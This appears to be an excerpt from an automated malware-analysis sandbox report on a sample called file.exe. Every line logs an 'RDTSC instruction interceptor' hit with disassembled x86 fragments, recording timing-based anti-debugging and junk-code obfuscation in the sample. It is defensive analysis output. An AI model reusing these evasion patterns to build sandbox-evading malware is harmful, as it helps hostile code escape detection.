Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5CF2 second address: 8C5CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5CF8 second address: 8C5D1C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F153924BB78h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5D1C second address: 8C5D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5D22 second address: 8C5D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F153924BB66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jng 00007F153924BB66h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5D37 second address: 8C5D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D344D second address: 8D3453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3453 second address: 8D3459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3459 second address: 8D346C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F153924BB6Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D346C second address: 8D3476 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1538C62CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE878 second address: 8EE880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDD38 second address: 8EDD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1538C62CE2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE008 second address: 8EE00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE00C second address: 8EE010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE010 second address: 8EE01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F153924BB66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE2BF second address: 8EE2C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE2C5 second address: 8EE2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1487 second address: 8F14EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F1538C62CD8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 sub dx, 5CA1h 0x00000028 push 00000004h 0x0000002a mov edx, dword ptr [ebp+122D35C0h] 0x00000030 call 00007F1538C62CD9h 0x00000035 jmp 00007F1538C62CE3h 0x0000003a push eax 0x0000003b jmp 00007F1538C62CDAh 0x00000040 mov eax, dword ptr [esp+04h] 0x00000044 push ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1725 second address: 8F175E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F153924BB72h 0x0000000d jmp 00007F153924BB6Ch 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F153924BB6Eh 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push esi 0x0000001f jp 00007F153924BB66h 0x00000025 pop esi 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80719D second address: 8071A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8071A1 second address: 8071A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8071A5 second address: 8071C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1538C62CE3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806632 second address: 806638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806638 second address: 80663C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509035D second address: 5090361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090361 second address: 5090365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090365 second address: 509036B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509036B second address: 5090392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1538C62CE5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090392 second address: 5090398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090398 second address: 509039C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509039C second address: 50903A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903A0 second address: 509040A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1538C62CE6h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1538C62CDDh 0x00000018 adc ecx, 2620F8B6h 0x0000001e jmp 00007F1538C62CE1h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F1538C62CE0h 0x0000002a or cl, FFFFFFD8h 0x0000002d jmp 00007F1538C62CDBh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509040A second address: 5090453 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F153924BB6Eh 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F153924BB77h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0427 second address: 50C0436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0436 second address: 50C044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C052D second address: 50C054C instructions: 0x00000000 rdtsc 0x00000002 call 00007F1538C62CE2h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C054C second address: 50C0550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0550 second address: 50C0556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0556 second address: 50C055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C055C second address: 50C059B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F1538C62CDDh 0x00000017 add si, B536h 0x0000001c jmp 00007F1538C62CE1h 0x00000021 popfd 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C059B second address: 50C05A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C05A0 second address: 50C05A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C05A6 second address: 50C05AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0688 second address: 50C06C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b pushad 0x0000000c mov di, cx 0x0000000f mov esi, 5516884Fh 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F1538C62CE1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C06C5 second address: 50C06CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C06CB second address: 50C06CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C06CF second address: 50B0371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a push ebx 0x0000000b mov esi, 0F696027h 0x00000010 pop ecx 0x00000011 popad 0x00000012 retn 0004h 0x00000015 nop 0x00000016 cmp eax, 00000000h 0x00000019 setne al 0x0000001c xor ebx, ebx 0x0000001e test al, 01h 0x00000020 jne 00007F153924BB67h 0x00000022 xor eax, eax 0x00000024 sub esp, 08h 0x00000027 mov dword ptr [esp], 00000000h 0x0000002e mov dword ptr [esp+04h], 00000000h 0x00000036 call 00007F153DCD52EFh 0x0000003b mov edi, edi 0x0000003d jmp 00007F153924BB6Bh 0x00000042 xchg eax, ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F153924BB75h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0371 second address: 50B0395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1538C62CDCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0395 second address: 50B03B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, A746h 0x00000011 movsx edx, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B03B0 second address: 50B03C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1538C62CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B03C8 second address: 50B03CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B03CC second address: 50B03F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov esi, edi 0x0000000e mov esi, edx 0x00000010 popad 0x00000011 mov bx, 1F56h 0x00000015 popad 0x00000016 push FFFFFFFEh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov esi, 24C2EF65h 0x00000020 mov eax, 7E781CE1h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B03F2 second address: 50B043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 0908F6C1h 0x0000000e jmp 00007F153924BB6Fh 0x00000013 xor dword ptr [esp], 7CA26889h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F153924BB75h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B057A second address: 50B0580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0580 second address: 50B0598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0598 second address: 50B059C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B059C second address: 50B05AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B05AE second address: 50B05CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dx, 5362h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1538C62CDBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B05CA second address: 50B05E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B05E7 second address: 50B05EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B05EC second address: 50B061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, bl 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F153924BB74h 0x0000000f push eax 0x00000010 jmp 00007F153924BB6Bh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B061D second address: 50B0623 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0623 second address: 50B06A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 4Ah 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F153924BB6Ch 0x00000010 mov dword ptr [esp], edi 0x00000013 pushad 0x00000014 mov di, cx 0x00000017 mov edi, esi 0x00000019 popad 0x0000001a mov eax, dword ptr [75AB4538h] 0x0000001f jmp 00007F153924BB74h 0x00000024 xor dword ptr [ebp-08h], eax 0x00000027 jmp 00007F153924BB70h 0x0000002c xor eax, ebp 0x0000002e jmp 00007F153924BB71h 0x00000033 nop 0x00000034 jmp 00007F153924BB6Eh 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F153924BB6Eh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B06A3 second address: 50B06A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B06A9 second address: 50B0725 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F153924BB6Ch 0x00000013 adc esi, 5A782698h 0x00000019 jmp 00007F153924BB6Bh 0x0000001e popfd 0x0000001f call 00007F153924BB78h 0x00000024 pushfd 0x00000025 jmp 00007F153924BB72h 0x0000002a sub ecx, 33506828h 0x00000030 jmp 00007F153924BB6Bh 0x00000035 popfd 0x00000036 pop ecx 0x00000037 popad 0x00000038 lea eax, dword ptr [ebp-10h] 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0725 second address: 50B0729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0729 second address: 50B072D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B072D second address: 50B0733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0416 second address: 50A041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A041A second address: 50A041E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A041E second address: 50A0424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0545 second address: 50A05BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1538C62CDBh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 push esi 0x00000012 jmp 00007F1538C62CDBh 0x00000017 pop ecx 0x00000018 pushfd 0x00000019 jmp 00007F1538C62CE9h 0x0000001e add esi, 50339A76h 0x00000024 jmp 00007F1538C62CE1h 0x00000029 popfd 0x0000002a popad 0x0000002b xchg eax, edi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F1538C62CDDh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0629 second address: 50A062E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A062E second address: 50A0645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0645 second address: 50A0649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0649 second address: 50A0659 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0659 second address: 50A066B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A066B second address: 50A068B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d jmp 00007F1538C62CDCh 0x00000012 inc ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov esi, ebx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A068B second address: 50A069C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F153924BB6Bh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A069C second address: 50A06DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test al, al 0x00000009 pushad 0x0000000a mov ebx, 34152416h 0x0000000f call 00007F1538C62CE7h 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 popad 0x00000018 je 00007F1538C62ECEh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1538C62CE0h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A073B second address: 50A074C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A074C second address: 50A0750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0750 second address: 50A0765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0765 second address: 50A0783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0783 second address: 50A0787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0787 second address: 50A078B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A078B second address: 50A0791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0791 second address: 50A0797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0797 second address: 50A079B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
